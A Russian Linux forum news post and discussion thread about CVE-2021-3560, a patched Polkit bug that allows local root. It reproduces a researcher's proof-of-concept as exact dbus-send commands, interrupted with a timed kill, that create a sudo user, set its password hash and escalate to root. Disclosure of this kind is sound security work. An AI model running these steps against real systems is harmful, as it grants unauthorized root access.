LINUX.ORG.RU

Семилетний баг в Polkit, позволяющий получить права root

 , , ,


2

1

Участник GitHub Security Lab Kevin Backhouse обнаружил уязвимость в Polkit, которая впервые появилась семь лет назад в коммите bfa5036 и с версией 0.113 попала в некоторые дистрибутивы. Она позволяет непривилегированному локальному пользователю получить права root в системе, приложив для этого минимальные усилия. Уязвимости подвержены любые дистрибутивы с установленной версией Polkit 0.113 (или более поздней). Например, такие популярные, как RHEL 8 и Ubuntu 20.04. Уязвимость была устранена 3 июня 2021 года.

Как пишет Kevin Backhouse, уязвимость очень просто эксплуатируется, для этого достаточно простых инструментов: bash, kill, и dbus-send. Кроме них, для своей статьи (PoC exploit) он так же использовал accountsservice и gnome-control-center, которые можно найти на многих системах с GUI. Следует заметить, что accountsservice и gnome-control-center не содержат уязвимость и являются просто клиентами для Polkit.

Собственно уязвимость активируется с помощью команды dbus-send (т.е. простой отправки сообщения через шину D-Bus), которую нужно завершить во время, пока Polkit ещё обрабатывает запрос. Теоретически, можно нажать Ctrl + C на клавиатуре в нужный момент, однако Kevin Backhouse не смог продемонстрировать именно такой вариант.


Шаги* эксплуатации уязвимости из PoC exploit

Для начала нужно замерить время, которое требуется для нормального выполнения команды dbus-send:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Результат должен быть примерно таким:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

Вывод команды time показывает, что dbus-send была выполнена за 16 миллисекунд. Следовательно, для успешной эксплуатации команда dbus-send должна быть завершена примерно через 8 миллисекунд после запуска.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Вероятно, что данный трюк удастся провернуть не с первого раза, поэтому может понадобится подобрать более подходящую задержку перед завершением dbus-send. Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Далее необходимо задать пароль для пользователя boris. D-Bus интерфейс ожидает, что пароль будет передан в виде хеша, который легко получить с помощью openssl.
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь следует провернуть аналогичный описанному выше трюк с командой dbus-send, за исключением используемого метода. На сей раз требуется метод SetPassword.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Как и в прошлый раз, вероятно потребуется несколько попыток и подбор значения задержки. Так же следует обратить внимание на идентификатор пользователя, который может отличаться от 1002 в примере.

Наконец можно получить привилегии пользователя root в системе:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

―――
* Шаги эксплуатации уязвимости приведены исключительно для ознакомления. Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам. Помните об ответственности!

P.S. Настоятельно рекомендуется выполнить обновление системы.

>>> Подробности

★★★★

Проверено: xaizek ()

А как же сертификаты ФСТЕК все такое? Неужели филькина грамота? Не может быть!

bhfq ★★★★★ ()

поназапускают говнодемонов в фоне, а потом удивляются как жэ так

anonymous ()

polkit does not handle that error correctly

Классическая ошибка с отсутствием проверки результата функции.

anonymous ()
Ответ на: комментарий от anonymous

Не работает

Оно может не с первого раза заработать. Время на каждой системе будет немного разное из-за особенностей сборки Polkit, запущенных сервисов, общей загрузки и т.п.

ls-h ★★★★ ()
+  if (data.caught_error)
+    goto out;

Ну и с таким исправлением становится очевидно что код они не тестируют.

anonymous ()
Ответ на: комментарий от anonymous

типичное программирование на си, 20 строк на аллоцирование, 20 строк на освобождение памяти для логики на 5 строчек.

bhfq ★★★★★ ()
Ответ на: комментарий от anonymous
Mon Jun  7 18:53:49 UTC 2021

l/polkit-0.119-x86_64-1.txz:  Upgraded.
This update includes a mitigation for local privilege escalation using
polkit_system_bus_name_get_creds_sync().
For more information, see:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3560
(* Security fix *)
anonymous ()
Ответ на: комментарий от ls-h

Оно может не с первого раза заработать.

Придётся искать на форумах как запустить баг.

anonymous ()
Ответ на: комментарий от bhfq

Очень жаль, что инструкций в итоге компилятор создает ещё больше. Вот было бы классно, если бы процессор сразу бы жрал Rust в исходниках. Ой, это уже уже было, и где сейчас лисп машины сейчас?

ixrws ★★★ ()
Ответ на: комментарий от bhfq

Ты читать умеешь? Нужен Polkit с версией больше 0.113. Либ этой, версии нет в Debian Buster и Stretch, а соответственно нет и в Astra с ФСТЭК, так как у нее база Stretch. И да, ни один сертификат как российский, так и зарубежный не дает 100% гарантии.

anonymous ()

Пофиг. Сижу на Дебиане 10, а там версия 0.105-25.

Odalist ★★★★★ ()

P.S. Настоятельно рекомендуется выполнить обновление системы.

Так в какую версию попал фикс от 3 июня? Или ты что-то знаешь и эта твоя рекомендация – чтобы ещё больше дыр завезти?

dimgel ★★★★ ()
Ответ на: комментарий от ixrws

дело в том что безопасность легко приклеивается к любой более-менее гибкой системе, среди которых как раз Linux

Google таки выпустил Fuchsia OS на реальном устройстве (комментарий)

вот тебе результат того что «безопасность приклеена» на соплях, а не является частью архитектуры ОС

anonymous ()
Ответ на: комментарий от anonymous

А что, разве это не очаровательно? А для нового софта надо было бы раз в год новый процессор покупать. Жаль что производители не пришли ещё к быстрым циклам обновления железа в ынтерпрайзе. Всё ещё идут на поводу у заказчиков, обеспечивая поддержку порой и в 10 и 15 лет. Надо раз в год на помойку.

ixrws ★★★ ()

Винда эта кривая достала уже своими багами, глючное индусское поделие.

anonymous ()
Ответ на: комментарий от dimgel

Когда начали пилить эту либу, раста в помине еще не было. Что-то не видно желающих переписать эту и другие большие важные либы на раст.

anonymous ()
Ответ на: комментарий от anonymous

Нет, это результат плохого качества кода. Точно также плохое качество кода в fuchsia может приводить к любому уровню уязвимостей. Ошибки в коде гипервизора могут приводить к тому, что процесс минимальными правами может делать что угодно на уровне гипервизора. Жаль, что приходится такие элементарные вещи объяснять.

Что до Linux, то современный Linux, даёт возможность максимально изолировать процессы вплоть до сложности взаимодействия между ними. По идее можно посадить их в отдельные комнатки и они друг с другом общаться то никак не смогут. Разве это не является безопасностью как частью архитектуры? Другое дело, что основная проблема в том как писать софт из частей, когда части изолированны. Приходится изобретать миллион велосипедов, каждый из которых будет иметь свои бреши. И в великой fuchsia, которая является лишь бог знает какой по счёту попыткой сделать одно и тоже, те же проблем и по прежнему не знают люди как их решить. Как сделать разработку удобной, когда компоненты изолированны.

ixrws ★★★ ()

Спасибо за подробное описание воспроизведения уязвисмости, хоть понятно становится

anonymous_sapiens ★★★★★ ()
Ответ на: комментарий от anonymous

А Вы – тот же аноним, которому я отвечал, или другой?

// Вообще, мой камент был очевидной иронией, но не про «не видно желающих переписать на раст», а про «такое невозможно»: как известно, на любом полном по Тьюрингу языке можно написать кошмарный код. Менее известно, что на неполных по Тьюрингу языках – тоже. :)))))

dimgel ★★★★ ()
Ответ на: комментарий от ixrws

Точно также плохое качество кода в fuchsia может приводить к любому уровню уязвимостей. Ошибки в коде гипервизора могут приводить к тому, что процесс минимальными правами может делать что угодно на уровне гипервизора.

только код в 10 тыс строк инспектируется куда проще чем 20 млн строк, при этом 20 млн строк совсем не однородного кода - это надо понимать детально что делает код каждого драйвера.

anonymous ()
Ответ на: комментарий от dimgel

Кто-то, когда-то сказал умные слова: «Ошибки не совершает лишь тот, кто ничего не делает».

Переносим эти слова на разработчиков и их код, попутно готовимся к ошибкам.

anonymous ()
Ответ на: комментарий от anonymous

В слаке нет группы sudo и по дефорлту в sudoers есть только root которому можно под любого пользователя косить через sudo.

Так что пользователей можно обсоздаваться, но это будут просто пользователи, без всяких sudo’шных привилегий.

Так что даже если и есть уязвимость в смысле возможности создавать пользователей, таких же как ты, то на слаке рута через неё не получишь.

Stanson ★★★★★ ()
Последнее исправление: Stanson (всего исправлений: 1)
Ответ на: комментарий от anonymous

Это сообщение писал разработчик, или журналист по заказу, то есть бот?

Давай попробуем считать что ты разработчик, скажем джун, потому что не джун бы понял что глупость сморозил. 10 тыс строк это только потому что проект пока молодой, потом будет больше. Всё что касается безопасности расползётся, и так просто проинспектировать уже не получится. При этом за 20 лет, если fuchsia проживёт столько, она станет более качественной, чем сейчас. А значит начать заново, чтобы по прежнему умещаться в количество строк - не будет иметь смысла. А с другой стороны, если взять Linux, и просто сделать сборку для конкретного железа, обычным стандартным Linux конфигуратором, то никаких 20 миллионов строк не будет. А значит инспектировать нужно будет только основные части. Конечно ты сможешь возразить вроде: любой плохой драйвер сможет превратить Linux в тыкву, а в fuchsia так не выйдет. Тут я возражу: любой вендор сможет превратить fuchsia в тыкву своим вмешательством куда угодно в ядерную часть, если ему захочется. А захочется ли какому-нибудь nvidia впихнуть дрова прямо в ядро для очередной tegra думаю вопрос риторический. Ну и где ваша архитектурная безопасность? В попе.

ixrws ★★★ ()
Ответ на: комментарий от anonymous

Оно там закомментарено искаропки. Чтобы wheel включить, надо права чтобы отредактировать sudoers. Если есть права на редактирование sudoers, то нафиг не нужен этот эксплойт.

Кроме того, искаропки нет сервиса org.freedesktop.Accounts, и чтобы он появился надо поставить accountsservice-a.b.c-arch-d.

Stanson ★★★★★ ()
Последнее исправление: Stanson (всего исправлений: 2)
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Требуется подтверждение подлинности.

tyamur ★★ ()
Последнее исправление: tyamur (всего исправлений: 1)
Ответ на: комментарий от tyamur

Попробуй сразу пустить вторую команду и поиграть со временем. С подтверждением замер всё-равно смысла не имеет. Только бориса из системы потом не забудь удалить.

imul ★★★★★ ()
Последнее исправление: imul (всего исправлений: 1)
Ответ на: комментарий от anonymous

Кто-то, когда-то сказал умные слова: «Ошибки не совершает лишь тот, кто ничего не делает».

+1, если не использовать эту формулу как индульгенцию для собственной глупости и разгильдяйства.

dimgel ★★★★ ()
Ответ на: комментарий от ixrws

10 тыс строк это только потому что проект пока молодой, потом будет больше.

куда расползётся микроядро ?

любой вендор сможет превратить fuchsia в тыкву своим вмешательством

зачем им это делать ? их цель драйверы написать под абстракции ОС

джун

подучись, потом приходи

anonymous ()
Ответ на: комментарий от bhfq

А как же сертификаты ФСТЕК все такое? Неужели филькина грамота? Не может быть!

Последним дистрибутивом RHEL, сертифицированным ФСТЭК, насколько мне известно, вроде бы была RHEL6.5 в 2013-м.

r_asian ★☆☆ ()
Ответ на: комментарий от bhfq

Не знаешь, в Белом доме и Пентагоне юзают Манджару?

anonymous ()

Хехе, мой комп слишком быстрый для этой уязвимости. Предлагаю нагружать все ядра busy-loop’ом в фоне для надежности.

cocucka ★★★★★ ()
Последнее исправление: cocucka (всего исправлений: 1)
Ответ на: комментарий от cocucka

ты вот шутишь, а в какой-нибудь опенбзд такие «заплатки» всюду насовывают

anonymous ()
Ответ на: комментарий от dimgel

А ее только для этого и используют.

anonymous ()

Блин, как всегда… в дебиане/диване протухший софт… доколе?

anonymous ()

А ведь есть люди, которые спрашивают, по какой-такой причине с моей точки зрения dbus’у в системе не место.

Croco ★★ ()
Ответ на: комментарий от greenman

Разве это уже не дырень?

Дырень – сама sudo как таковая. Первое же действие после установки новой системы – поставить пароль root’у (если инсталлятор его не поставил), проверить, что работает, и снести sudo. А с /bin/su снести suid bit.

Croco ★★ ()
Ответ на: комментарий от Croco

Только написал сообщение где хотел напомнить что вы довольно резко критиковали sudo. Хорошо что обновил страницу перед отправкой.

anonymous ()
Ответ на: комментарий от Croco

А ведь есть люди, которые спрашивают, по какой-такой причине с моей точки зрения dbus’у в системе не место.

Ну и по какой-такой причине с твоей точки зрения dbus’у в системе не место?

dexpl ★★★★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.